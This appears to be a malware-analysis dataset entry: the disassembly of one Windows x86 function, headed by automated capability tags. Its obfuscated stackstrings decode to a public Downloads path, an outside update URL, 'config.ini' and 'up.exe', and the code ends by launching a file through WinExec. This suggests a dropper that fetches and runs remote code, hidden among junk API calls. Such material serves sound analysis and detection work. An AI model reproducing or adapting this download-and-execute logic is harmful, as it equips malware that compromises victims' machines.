Function at 0x401040
Capabilities:
Accept command line arguments
Check for time delay via gettickcount
Check mutex on windows
Contain obfuscated stackstrings
Copy file
Create process on windows
Get common file path
Get disk information
Get file attributes
Get memory capacity
Hide graphical window
Identify system language via api
Move file

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
push 0xffffffffffffffff
push 0x5180cd
mov eax, dword fs:[0]
push eax
sub esp, 0x2f0
mov eax, dword [0x55f350]
xor eax, esp
mov dword [esp + 0x2e8], eax
push ebx
push esi
push edi
mov eax, dword [0x55f350]
xor eax, esp
push eax
lea eax, [esp + 0x300]
mov dword fs:[0], eax
push str.test
push 1
push 0
call dword [sym.imp.KERNEL32.dll_CreateMutexA]
mov ebx, dword [sym.imp.KERNEL32.dll_GetConsoleWindow]
push 4
mov esi, eax
call ebx
push eax
call dword [sym.imp.USER32.dll_GetWindow]
mov dword [esp + 0x308], 0xffffffff
test esi, esi
je 0x4010c5
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0xb7
jne 0x4010c5
push 0xffffffffffffffff
call fcn.004f6875
lea eax, [esp + 0x18]
push eax
mov dword [esp + 0x90], 0x555c3a43
mov dword [esp + 0x94], 0x73726573
mov dword [esp + 0x98], 0x6275505c
mov dword [esp + 0x9c], 0x5c63696c
mov dword [esp + 0xa0], 0x6e776f44
mov dword [esp + 0xa4], 0x64616f6c
mov word [esp + 0xa8], 0x5c73
mov byte [esp + 0xaa], 0
call ebx
mov esi, dword [sym.imp.USER32.dll_GetWindowThreadProcessId]
push eax
call esi
push 0xffffffffffffffeb
call ebx
mov edi, dword [sym.imp.USER32.dll_GetWindowLongA]
push eax
call edi
push 0
call dword [sym.imp.KERNEL32.dll_FlushFileBuffers]
lea ecx, [esp + 0x40]
push ecx
call ebx
push eax
call dword [sym.imp.USER32.dll_GetClientRect]
push 0x103
lea edx, [esp + 0xe9]
push 0
push edx
mov byte [esp + 0xf0], 0
call fcn.004f8120
add esp, 0xc
lea eax, [esp + 0x40]
push eax
call ebx
push eax
call dword [sym.imp.USER32.dll_GetWindowRect]
push 0
call ebx
push eax
call esi
mov esi, dword [sym.imp.KERNEL32.dll_GetSystemTime]
lea ecx, [esp + 0x20]
push ecx
call esi
lea edx, [esp + 0x18]
push edx
call dword [sym.imp.KERNEL32.dll_GetCurrentThread]
push eax
call dword [sym.imp.KERNEL32.dll_GetExitCodeThread]
push 0x22b0
call ebx
push eax
call dword [sym.imp.USER32.dll_KillTimer]
push 0x5414a0
call ebx
push eax
call dword [sym.imp.USER32.dll_SetWindowTextA]
lea eax, [esp + 0x20]
push eax
mov dword [esp + 0x84], 0x64257325
mov dword [esp + 0x88], 0x676e702e
mov byte [esp + 0x8c], 0
call dword [sym.imp.KERNEL32.dll_GlobalMemoryStatus]
push 0x5414a8
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
push 0x216e
call ebx
push eax
call dword [sym.imp.USER32.dll_KillTimer]
push 0x5414b4
push 0x5414bc
call dword [sym.imp.KERNEL32.dll_MoveFileA]
push 0xfffffffffffffff0
call ebx
push eax
call edi
mov dword [esp + 0xa8], 0x70747468
mov dword [esp + 0xac], 0x672f2f3a
mov dword [esp + 0xb0], 0x6e656572
mov dword [esp + 0xb4], 0x2e79616c
mov dword [esp + 0xb8], 0x2f7a7978
mov dword [esp + 0xbc], 0x61647075
mov dword [esp + 0xc0], 0x2f6574
call dword [sym.imp.KERNEL32.dll_GetCommandLineA]
lea ecx, [esp + 0x20]
push ecx
call esi
push 0
push 0x30
push 0x62
push 0
call dword [sym.imp.KERNEL32.dll_CreateSemaphoreA]
call dword [sym.imp.KERNEL32.dll_GetUserDefaultUILanguage]
mov edi, dword [sym.imp.KERNEL32.dll_GetLogicalDrives]
call edi
push 0
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_CreateCompatibleDC]
push 1
push 0x5414c4
push 0x5414cc
call dword [sym.imp.KERNEL32.dll_CopyFileA]
push 0
push 0x3b
push 9
push 0
call dword [sym.imp.KERNEL32.dll_CreateSemaphoreA]
push 0
call dword [sym.imp.KERNEL32.dll_SetEvent]
lea edx, [esp + 0x20]
push edx
call esi
call edi
push 2
lea eax, [esp + 0xac]
push eax
lea ecx, [esp + 0x88]
push ecx
lea edx, [esp + 0xf0]
push edx
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0x10
push 0
push 0x5414d8
call dword [sym.imp.KERNEL32.dll_FindFirstFileA]
lea eax, [esp + 0x18]
push eax
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call dword [sym.imp.KERNEL32.dll_IsWow64Process]
push 0x81
call dword [sym.imp.KERNEL32.dll_SetLastError]
call dword [sym.imp.KERNEL32.dll_GetUserDefaultUILanguage]
push 0
call ebx
push eax
call dword [sym.imp.USER32.dll_EnableWindow]
push 0
call dword [sym.imp.KERNEL32.dll_CloseHandle]
lea ecx, [esp + 0x1ec]
push ecx
push 0x104
call dword [sym.imp.KERNEL32.dll_GetTempPathA]
mov dword [esp + 0xd0], 0x65796479
mov dword [esp + 0xd4], 0x6e69676e
mov dword [esp + 0xd8], 0x6f6f7465
mov dword [esp + 0xdc], 0x6c642e6c
mov word [esp + 0xe0], 0x6c
call dword [sym.imp.KERNEL32.dll_GetACP]
mov esi, dword [sym.imp.KERNEL32.dll_GetCurrentThread]
lea edx, [esp + 0x18]
push edx
call esi
push eax
call dword [sym.imp.KERNEL32.dll_GetExitCodeThread]
call edi
push 0
push 0x1132
push 0x5f
call ebx
push eax
call dword [sym.imp.USER32.dll_SetTimer]
push 0x5414e0
push 0x5414e8
call dword [sym.imp.KERNEL32.dll_MoveFileA]
lea eax, [esp + 0x1c]
push eax
call esi
push eax
call dword [sym.imp.KERNEL32.dll_GetExitCodeThread]
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [esp + 0x308], 0xffffffff
lea eax, [esp + 0x8c]
mov dword [esp + 0x54], 0xf
mov dword [esp + 0x50], 0
mov byte [esp + 0x40], 0
lea esi, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x4013f5
sub eax, esi
mov edi, eax
lea eax, [esp + 0x8c]
lea esi, [esp + 0x40]
call fcn.00401b80
mov dword [esp + 0x308], 0x12
lea eax, [esp + 0xe4]
mov dword [esp + 0x34], 0xf
mov dword [esp + 0x30], 0
mov byte [esp + 0x20], 0
lea edx, [eax + 1]
lea ebx, [ebx]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x401440
sub eax, edx
mov edi, eax
lea eax, [esp + 0xe4]
lea esi, [esp + 0x20]
call fcn.00401b80
mov ecx, esi
push ecx
lea edx, [esp + 0xd4]
lea ecx, [esp + 0x44]
mov byte [esp + 0x30c], 0x13
call fcn.004024f0
add esp, 4
test al, al
mov esi, 0x10
sete byte [esp + 0x17]
cmp dword [esp + 0x34], esi
jb 0x401498
mov edx, dword [esp + 0x20]
push edx
call fcn.00403cec
add esp, 4
mov edi, 0xf
mov dword [esp + 0x308], 0xffffffff
mov dword [esp + 0x34], edi
mov dword [esp + 0x30], 0
mov byte [esp + 0x20], 0
cmp dword [esp + 0x54], esi
jb 0x4014cc
mov eax, dword [esp + 0x40]
push eax
call fcn.00403cec
add esp, 4
cmp byte [esp + 0x17], 0
je 0x4014da
push 0
call fcn.004f6875
push 0x3ea
lea ecx, [esp + 0xac]
push ecx
lea edx, [esp + 0x88]
push edx
lea eax, [esp + 0xf0]
push eax
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0x10
lea ecx, [esp + 0x1c]
push ecx
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call dword [sym.imp.KERNEL32.dll_IsWow64Process]
call dword [sym.imp.KERNEL32.dll_GetUserDefaultUILanguage]
push 0
mov dword [esp + 0xc8], 0x666e6f63
mov dword [esp + 0xcc], 0x692e6769
mov word [esp + 0xd0], 0x696e
mov byte [esp + 0xd2], 0
call ebx
push eax
call dword [sym.imp.USER32.dll_ShowWindow]
mov dword [esp + 0x308], 0xffffffff
lea eax, [esp + 0x8c]
mov dword [esp + 0x54], edi
mov dword [esp + 0x50], 0
mov byte [esp + 0x40], 0
lea esi, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x401571
sub eax, esi
mov edi, eax
lea eax, [esp + 0x8c]
lea esi, [esp + 0x40]
call fcn.00401b80
mov dword [esp + 0x308], 0x1a
lea eax, [esp + 0xe4]
mov dword [esp + 0x34], 0xf
mov dword [esp + 0x30], 0
mov byte [esp + 0x20], 0
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x4015b6
sub eax, edx
mov edi, eax
lea eax, [esp + 0xe4]
lea esi, [esp + 0x20]
call fcn.00401b80
mov edx, esi
push edx
lea edx, [esp + 0xc8]
lea ecx, [esp + 0x44]
mov byte [esp + 0x30c], 0x1b
call fcn.004024f0
add esp, 4
test al, al
mov esi, 0x10
sete byte [esp + 0x17]
cmp dword [esp + 0x34], esi
jb 0x40160e
mov eax, dword [esp + 0x20]
push eax
call fcn.00403cec
add esp, 4
mov edi, 0xf
mov dword [esp + 0x308], 0xffffffff
mov dword [esp + 0x34], edi
mov dword [esp + 0x30], 0
mov byte [esp + 0x20], 0
cmp dword [esp + 0x54], esi
jb 0x401642
mov ecx, dword [esp + 0x40]
push ecx
call fcn.00403cec
add esp, 4
cmp byte [esp + 0x17], 0
push 0
je 0x401650
call fcn.004f6875
mov dword [esp + 0x7c], 0x652e7075
mov word [esp + 0x80], 0x6578
mov byte [esp + 0x82], 0
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov esi, dword [sym.imp.KERNEL32.dll_GetTickCount]
call esi
push 0
push 0x100
lea edx, [esp + 0x1f4]
push edx
push 0
push 0x295b
push 0
push 0x1000
call dword [sym.imp.KERNEL32.dll_FormatMessageA]
push 1
push 0x5414f0
push 0x5414f8
call dword [sym.imp.KERNEL32.dll_CopyFileA]
push 0x541504
push 0
call dword [sym.imp.USER32.dll_LoadCursorA]
lea eax, [esp + 0x1c]
push eax
call dword [sym.imp.KERNEL32.dll_GetCurrentThread]
push eax
call dword [sym.imp.KERNEL32.dll_GetExitCodeThread]
push 1
lea ecx, [esp + 0xac]
push ecx
lea edx, [esp + 0x88]
push edx
lea eax, [esp + 0xf0]
push eax
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0x10
push 0
push 0x10
push 0
call dword [sym.imp.KERNEL32.dll_ReleaseSemaphore]
push 0
call ebx
push eax
call dword [sym.imp.USER32.dll_EnableWindow]
call esi
push 0x332
call dword [sym.imp.KERNEL32.dll_SetLastError]
call dword [sym.imp.KERNEL32.dll_GetUserDefaultUILanguage]
mov dword [esp + 0x308], 0xffffffff
lea eax, [esp + 0x8c]
mov dword [esp + 0x54], edi
mov dword [esp + 0x50], 0
mov byte [esp + 0x40], 0
lea esi, [eax + 1]
nop
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x401740
sub eax, esi
mov edi, eax
lea eax, [esp + 0x8c]
lea esi, [esp + 0x40]
call fcn.00401b80
mov dword [esp + 0x308], 0x22
lea eax, [esp + 0xe4]
mov dword [esp + 0x34], 0xf
mov dword [esp + 0x30], 0
mov byte [esp + 0x20], 0
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x401785
sub eax, edx
mov edi, eax
lea eax, [esp + 0xe4]
lea esi, [esp + 0x20]
call fcn.00401b80
mov ecx, esi
push ecx
lea edx, [esp + 0x7c]
lea ecx, [esp + 0x44]
mov byte [esp + 0x30c], 0x23
call fcn.004024f0
add esp, 4
test al, al
mov esi, 0x10
sete byte [esp + 0x17]
cmp dword [esp + 0x34], esi
jb 0x4017da
mov edx, dword [esp + 0x20]
push edx
call fcn.00403cec
add esp, 4
mov dword [esp + 0x308], 0xffffffff
mov dword [esp + 0x34], 0xf
mov dword [esp + 0x30], 0
mov byte [esp + 0x20], 0
cmp dword [esp + 0x54], esi
jb 0x40180d
mov eax, dword [esp + 0x40]
push eax
call fcn.00403cec
add esp, 4
cmp byte [esp + 0x17], 0
je 0x40181b
push 0
call fcn.004f6875
lea eax, [esp + 0x8c]
lea ecx, [esp + 0x5c]
call fcn.00401900
call ebx
push eax
call dword [sym.imp.USER32.dll_UpdateWindow]
lea eax, [esp + 0x78]
mov dword [esp + 0x308], 0x26
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x401846
sub eax, edx
push eax
lea eax, [esp + 0x7c]
lea ecx, [esp + 0x60]
call fcn.00401970
push 0
push 0
push 0
push 0
push SysReAllocStringLen
push SysReAllocStringLen
push SysReAllocStringLen
push SysReAllocStringLen
push 0xcf0000
push 0x541510
push 0x541518
push 0
call dword [sym.imp.USER32.dll_CreateWindowExA]
mov eax, dword [esp + 0x5c]
cmp dword [esp + 0x70], esi
jae 0x40189e
lea eax, [esp + 0x5c]
push 0
push eax
call dword [sym.imp.KERNEL32.dll_WinExec]
push 0x3a9
call dword [sym.imp.KERNEL32.dll_SetLastError]
push 0x541524
push 0x541530
call dword [sym.imp.KERNEL32.dll_MoveFileA]
push 0x54153c
push 0
call dword [sym.imp.USER32.dll_LoadIconA]
push 0
call ebx
push eax
call dword [sym.imp.USER32.dll_GetWindowThreadProcessId]
call dword [sym.imp.KERNEL32.dll_GetCommandLineA]
push 0
push 0x1bd7
push 0x70
call ebx
push eax
call dword [sym.imp.USER32.dll_SetTimer]
push 0xffffffffffffffff
call fcn.004f6875
int3